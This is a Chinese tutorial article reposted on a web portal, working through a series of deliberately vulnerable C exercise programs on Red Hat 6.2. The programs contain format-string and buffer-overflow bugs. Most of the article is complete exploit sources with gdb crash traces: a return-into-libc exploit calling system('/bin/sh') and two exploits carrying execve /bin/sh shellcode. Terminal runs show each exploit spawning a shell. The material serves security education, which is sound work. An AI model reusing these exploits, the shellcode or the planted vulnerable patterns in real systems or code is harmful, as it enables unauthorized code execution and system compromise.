| 首页 | 学习 | 计算机 | 小说 | 动漫 | 论文 | 军事 | 科技 | 教育 | 哲学 | 历史 | 英语 | 笑话 | 
您现在的位置: 【书斋】 >> 计算机 >> 程序编程 >> 计算机正文 用户登录 新用户注册
非安全编程演示之高级篇           ★★
非安全编程演示之高级篇
 作者:alert7 < alert7@netguard.com.cn >


★★ 三 高级篇

测试环境 redhat 6.2 glibc 2.1.3


★ 3.1 演示一

/* e1.c *
/* specially crafted to feed your brain by gera@core-sdi.com */

/* jumpy vfprintf, Batman! */

int main(int argv,char **argc) {
/* Can you do it changing the stack? */
/* Can you do it without changing it? */
printf(argc[1]);
while(1);
}
请参考拙作<<利用格式化串覆盖*printf()系列函数本身的返回地址>>


★ 3.2 演示二

/* e2.c *
/* specially crafted to feed your brain by gera@core-sdi.com */

/* Now, your misson is to make abo1 act like this other program:
*
char buf[100];

while (1) {
scanf("%100s",buf);
system(buf);
}

* But, you cannot execute code in stack.
*/

int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
}
唯一需要满足的条件是stack是不能运行的。

[alert7@redhat62 alert7]$ ./e2 `perl -e 'print "a"x264'`
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e2 core -q
Core was generated by `./e2 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x61616161 in ?? ()

/* exp_e2.c
* alert7 exploit for e2
*/
#include <stdio.h>

#define RET_POSITION 260
#define NOP 0x90
#define BUFADDR 0xbffff968
#define SYSTEM 0x4005aae0
char shell[]="/bin/sh"; /* .string \"/bin/sh\" */

int main(int argc,char **argv)
{
char buff[1024],*ptr;
int retaddr;
int i;

retaddr=SYSTEM;
if(argc>1)
retaddr=SYSTEM+atoi(argv[1]);

bzero(buff,1024);
for(i=0;i<300;i++)
buff[i]=NOP;
*((long *)&(buff[RET_POSITION-4]))=BUFADDR+4*3+strlen(shell);
*((long *)&(buff[RET_POSITION]))=retaddr;
*((long *)&(buff[RET_POSITION+4]))=0xaabbccdd;//当system返回时候的eip
*((long *)&(buff[RET_POSITION+8]))=BUFADDR+RET_POSITION+4*3;
ptr=buff+RET_POSITION+12;
strcpy(ptr,shell);
printf("Jump to 0x%08x\n",retaddr);

execl("./e2","e2",buff,0);
}
[alert7@redhat]$ gcc -o exp_e2 exp_e2.c
[alert7@redhat]$ ./exp_e2
Jump to 0x4005aae0
bash$ id
uid=501(alert7) gid=501(alert7) groups=501(alert7)
bash$ exit
exit
Segmentation fault (core dumped)

内存增长方向
------>
| xxxxxx | EBP | EIP | EIP1 | 参数指针 | /bin/sh |
| 260个bytes | |
|
|-->main执行ret后的esp,ebp值为EBP
EIP1为system调用后的返回地址(当然,假如system返回的话)
参数指针指向/bin/sh
这里我们使EIP1为0xaabbccdd,所以/bin/sh一返回就在0xaabbccdd coredump了。
也就是说只要我们精心构造,就可以构造一个函数调用链。比如我们需要调用
setuid(0)->system("/bin/sh")->exit(0);

该exploit可以成功,很大程度上是因为SYSTEM的地址不包含0,也就是stack不
可执行补丁没有使library库mmap到内存低端。

更多的击败不可执行stack补丁可参考:
<<绕过Linux不可执行堆栈保护的方法浅析>> by waring3 <waring3@nsfocus.com>
和最近p58上的
<<The advanced return-into-lib(c) exploits>> by Nergal


★ 3.3 演示三

/* e3.c *
* specially crafted to feed your brain by gera@core-sdi.com */

/* are you an enviromental threat */

char buf[256];

int main(int argv,char **argc) {
strcpy(buf,argc[1]);
setenv("ABO",argc[2],1);
while(1);
}
[alert7@redhat]$ uname -a
Linux redhat 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
[alert7@redhat]$ gcc -o e3 e3.c -static //静态编译的时候才会出现这样的情况
[alert7@redhat]$ ./e3 `perl -e 'print "a"x267'` a
Segmentation fault (core dumped)

[1] [2] [3] [4] [5] [6] 下一页  

[alert7@redhat]$ gdb e3 core -q
Core was generated by `./e3 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x616161 in ?? ()
(gdb) quit
[alert7@redhat]$ ./e3 `perl -e 'print "a"x268'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e3 core -q
Core was generated by `./e3 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x61616161 in ?? ()
(gdb) bt
#0 0x61616161 in ?? ()
#1 0x804ac85 in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3209
#2 0x804d18b in realloc_hook_ini (ptr=0x0, sz=88, caller=0x804857c)
at malloc.c:1770
#3 0x804abb3 in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3196
#4 0x804857c in __add_to_environ (name=0x80718e8 "ABO", value=0xbffffcc8 "a",
combined=0x0, replace=1) at ../sysdeps/generic/setenv.c:145
#5 0x804882b in __setenv (name=0x80718e8 "ABO", value=0xbffffcc8 "a",
replace=1) at ../sysdeps/generic/setenv.c:263
#6 0x80481ce in main ()
#7 0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=3,
argv=0xbffffb24, init=0x80480b4 <_init>, fini=0x80718ac <_fini>,
rtld_fini=0, stack_end=0xbffffb1c) at ../sysdeps/generic/libc-start.c:92

根据上面的条件,我们可以完全不必理会setenv()内部一系列到底发生了什么。只需要知道
在buf+264的地方放入一个值,该值就会变成EIP。

/* exp_e3.c
* alert7 exploit for static e3
*/
#include <stdio.h>

#define RET_POSITION 264
#define NOP 0x90
#define BUFADDR 0x807bf60//0xaabbccdd
char shellcode[]=
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */

int main(int argc,char **argv)
{
char buff[1024],*ptr;
int retaddr;
int i;

retaddr=BUFADDR;
if(argc>1)
retaddr=BUFADDR+atoi(argv[1]);

bzero(buff,1024);
for(i=0;i<1024;i+=4)
*((long *)&(buff[i]))=retaddr;

for(i=0;i<100;i++)
buff[i]=NOP;

ptr=buff+50;
for(i=0;i *(ptr++)=shellcode[i];
//现在buff的内容为
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0
printf("Jump to 0x%08x\n",retaddr);

execl("./e3","e3",buff,0);
}
[alert7@redhat62 alert7]$ gcc -o exp_e3 exp_e3.c
[alert7@redhat62 alert7]$ ./exp_e3
Jump to 0x0807bf60
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
成功:)

shellcode是放在heap里的,所以可能可以绕过一些不可执行stack的保护。
需猜测shellcode在heap中的地址,也失去了一些通用性。

跟踪了半天,发现还是静态编译的__libc_malloc()的问题

0x8049ff5 <__libc_malloc+89>: mov 0x807c068,%eax
0x8049ffa <__libc_malloc+94>: test %eax,%eax
0x8049ffc <__libc_malloc+96>: je 0x804a010 <__libc_malloc+116>
0x8049ffe <__libc_malloc+98>: push $0x0
0x804a000 <__libc_malloc+100>: call *%eax

(gdb) i reg eax
eax 0x61616161 1633771873
(gdb) x 0x807c068
0x807c068 <__libc_internal_tsd_get>: 0x61616161
(gdb) p & __libc_internal_tsd_get
$1 = (void *(**)()) 0x807c068
(gdb) p __libc_internal_tsd_get
$2 = (void *(*)()) 0x61616161

上一页  [1] [2] [3] [4] [5] [6] 下一页  


我们的数据覆盖到了__libc_internal_tsd_get()函数地址,使
__libc_internal_tsd_get()指向0x61616161.所以Segmentation fault
不知道__libc_internal_tsd_get()在这里有何作用?暂时我也不知道,郁闷~


★ 3.4 演示四

/* e4.c *
* specially crafted to feed your brain by gera@core-sdi.com */

/* %what the hell? */

char buf[256];

int main(int argv,char **argc) {
strcpy(buf,argc[1]);
printf("live at 100%!");
while(1);
}

[alert7@redhat]$ gcc -o e4 e4.c -static //静态编译的时候才会出现这样的情况
[alert7@redhat]$ ./e4 `perl -e 'print "a"x1408'`
[alert7@redhat]$ ./e4 `perl -e 'print "a"x1409'`
Segmentation fault (core dumped)
[alert7@redhat]$ gdb -q e4 core
Core was generated by `./e4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x61616161 in ?? ()
(gdb) bt
#0 0x61616161 in ?? ()
#1 0x8048681 in printf (format=0x8071548 "live at 100%!") at printf.c:31
#2 0x80481c3 in main ()
#3 0x804831b in __libc_start_main (main=0x80481a0
, argc=2,
argv=0xbffff6a4, init=0x80480b4 <_init>, fini=0x807150c <_fini>,
rtld_fini=0, stack_end=0xbffff69c) at ../sysdeps/generic/libc-start.c:92
[alert7@redhat62 alert7]$ ./e4 `perl -e 'print "a"x518'``perl -e 'print "b"x891'`
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e4 core -q
Core was generated by `./e4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x62626161 in ?? ()
[alert7@redhat62 alert7]$ ./e4 `perl -e 'print "a"x516'``perl -e 'print "b"x893'`
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e4 core -q
Core was generated by `./e4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x62626262 in ?? ()

根据上面的条件,我们可以完全不必理会printf()内部到底发生了什么。只需要知道
在buf+516的地方放入一个值,该值就会变成EIP。

/* exp_e4.c
* alert7 exploit for static e4
*/
#include <stdio.h>

#define RET_POSITION 516
#define NOP 0x90
#define BUFADDR 0x807bbc0//0xaabbccdd
char shellcode[]=
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */

int main(int argc,char **argv)
{
char buff[2048],*ptr;
int retaddr;
int i;

retaddr=BUFADDR;
if(argc>1)
retaddr=BUFADDR+atoi(argv[1]);

bzero(buff,2048);
for(i=0;i<2000;i++)
buff[i]=NOP;
*((long *)&(buff[RET_POSITION]))=retaddr;

ptr=buff+50;
for(i=0;i *(ptr++)=shellcode[i];
printf("Jump to 0x%08x\n",retaddr);

execl("./e4","e4",buff,0);
}

[alert7@redhat62 alert7]$ ./exp_e4
Jump to 0x0807bbc0
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
成功:)
通用性没有,需猜测BUFADDR地址。

程序问题所在:

0x8050101 <_IO_vfprintf+9361>: mov 0x807bd40(,%edx,4),%edx
0x8050108 <_IO_vfprintf+9368>: test %edx,%edx //此时edx=0x62626262
0x805010a <_IO_vfprintf+9370>: je 0x8050130 <_IO_vfprintf+9408>

[1] [2] [3] 下一页  

在百度搜索:非安全编程演示之高级篇
  • 上一个计算机:

  • 下一个计算机:
  • 相 关 文 章
  • 嵌入式C编程技术

  • C语言编程的排序方法

  • 文件系统和不同格式文件

  • CGI之C语言篇

  • OpenBSD 可加载内核模块

  • C语言安全特性概要:进程

  • Linux 和 Unix 安全编程

  • 安全编程 HOWTO:文件

  • 编程中的细节:指针(fw

  • Linux 守护进程的编程方

  • Linux下C语言编程--进程

  • Linux下C语言编程--文件

  • Linux下C语言编程--时间

  • Linux下C语言编程--线程

  • Linux下C语言编程--进程

  • Socket编程例子:TCP She

  • Linux 下的多进程编程

  • C语言编程技巧汇萃(下)

  • 提高Linux安全等级

  • Linux 的编程常识

  • Linux下C语言编程--信号

  • 高级套接字函数

  • 编辑器篇:回车断行的问题

  • Linux环境下的网络编程

  • C语言多进程编程

  • Linux内核模块编程之字符

  • C的数据库编程(2)

  • C的数据库编程(1)

  • C语言图形编程(六、绘图

  • C语言图形编程(五、二维